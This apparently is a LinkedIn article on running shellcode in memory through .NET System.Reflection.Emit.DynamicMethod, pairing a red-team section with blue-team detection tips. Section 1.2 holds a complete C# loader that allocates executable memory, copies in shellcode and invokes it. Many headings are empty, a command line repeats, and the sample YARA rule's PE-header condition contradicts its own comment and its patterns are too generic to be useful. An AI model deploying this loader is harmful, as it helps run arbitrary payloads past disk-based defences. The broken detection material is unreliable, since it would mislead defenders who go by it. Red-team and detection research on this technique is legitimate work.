Leveraging System.Reflection.Emit.DynamicMethod for Red Team Engagement
This article explores how red teams can harness System.Reflection.Emit.DynamicMethod to execute in-memory payloads during engagements, and how blue teams can detect and respond to such techniques. We’ll cover the red team implementation, common evasion tactics, and a layered detection strategy for defenders.
1. Red Team Implementation
System.Reflection.Emit.DynamicMethod enables runtime creation of methods without writing to disk. Attackers use it to inject shellcode or malicious IL directly into memory, evading traditional on-disk controls.
1.1. High-Level Workflow
1.2. Sample C# Code
using System;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
public class InMemoryLoader
{
[DllImport("kernel32")]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
public static void Execute(byte[] shellcode)
{
// 1. Allocate RWX memory
IntPtr execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
// 2. Copy shellcode into memory
Marshal.Copy(shellcode, 0, execMem, shellcode.Length);
// 3. Create dynamic method wrapper
var method = new DynamicMethod("", typeof(void), Type.EmptyTypes);
var il = method.GetILGenerator();
il.Emit(OpCodes.Ldc_I8, (long)execMem);
il.Emit(OpCodes.Conv_I);
il.EmitCalli(OpCodes.Calli, CallingConvention.StdCall, typeof(void), Type.EmptyTypes);
il.Emit(OpCodes.Ret);
// 4. Invoke shellcode
var action = (Action)method.CreateDelegate(typeof(Action));
action();
}
}
1.3. Evasion Add-Ons
2. Blue Team Detection and Response
Detecting DynamicMethod usage requires both managed runtime logging and memory-forensics techniques. Below is a layered approach.
2.1. Managed Runtime Monitoring
2.2. Memory-Forensics and EDR Rules
2.3. Logging and Alerting Workflows
2.4. Threat Hunting Techniques
3. Integration: Purple Team Exercises
Combining red and blue insights yields tighter controls and refined detections.
4. Taking It Further
Walkthrough: Setting Up CLR ETW Collection
Collecting CLR ETW events lets you monitor managed runtime behavior—including DynamicMethod creation—in real time. Below is a step-by-step guide to enable, capture, and analyze these events on Windows.
Prerequisites
Recommended by LinkedIn
Steps to Enable and Capture CLR ETW Events
2. Create a real-time ETW session with logman
logman create trace CLR_DynamicMethod \
–p "Microsoft-Windows-DotNETRuntime" 0x00000800 0x5 \
–o C:\Logs\CLR_DynamicMethod.etl –nb 128 640 –bs 1024
–o C:\Logs\CLR_DynamicMethod.etl –nb 128 640 –bs 1024
3. Start the trace session
logman start CLR_DynamicMethod
4. Run your test application or red-team loader that uses DynamicMethod
5. Stop the session when testing is complete
logman stop CLR_DynamicMethod
6. Convert ETL to human-readable JSON/CSV
7. Ingest into your SIEM
Walkthrough: Crafting YARA Rules for In-Memory Shellcode
YARA rules help you scan process memory snapshots or live dumps for known shellcode patterns. Below is a simple rule template and tips for memory-residency detection.
Sample YARA Rule
rule InMemoryShellcode
{
meta:
author = "SecurityTeam"
description = "Detects common in-memory x86 shellcode patterns"
date = "2025-07-18"
strings:
$nop_sled = { 90 90 90 90 90 90 90 90 } // common NOP sled
$push_ebp = { 55 8B EC } // function prologue
$call_rel = { E8 ?? ?? ?? ?? } // relative call
condition:
uint16(0) == 0x5A4D // PE header check (exclude on-disk)
and any of ($nop_sled, $push_ebp, $call_rel)
}
Rule Components Explained
Deploying and Scanning
yara -r InMemoryShellcode.yar memory_dump.dmp
3. Integrate YARA into EDR pipelines for continuous in-memory scanning.
Next Steps and Advanced Ideas
By understanding both sides of the equation, security teams can harness powerful red team tactics for adversary simulation, while blue teams sharpen their detective capabilities to stay ahead of sophisticated in-memory attacks.
Really interesting technical read! A whole new threat to add to my radar.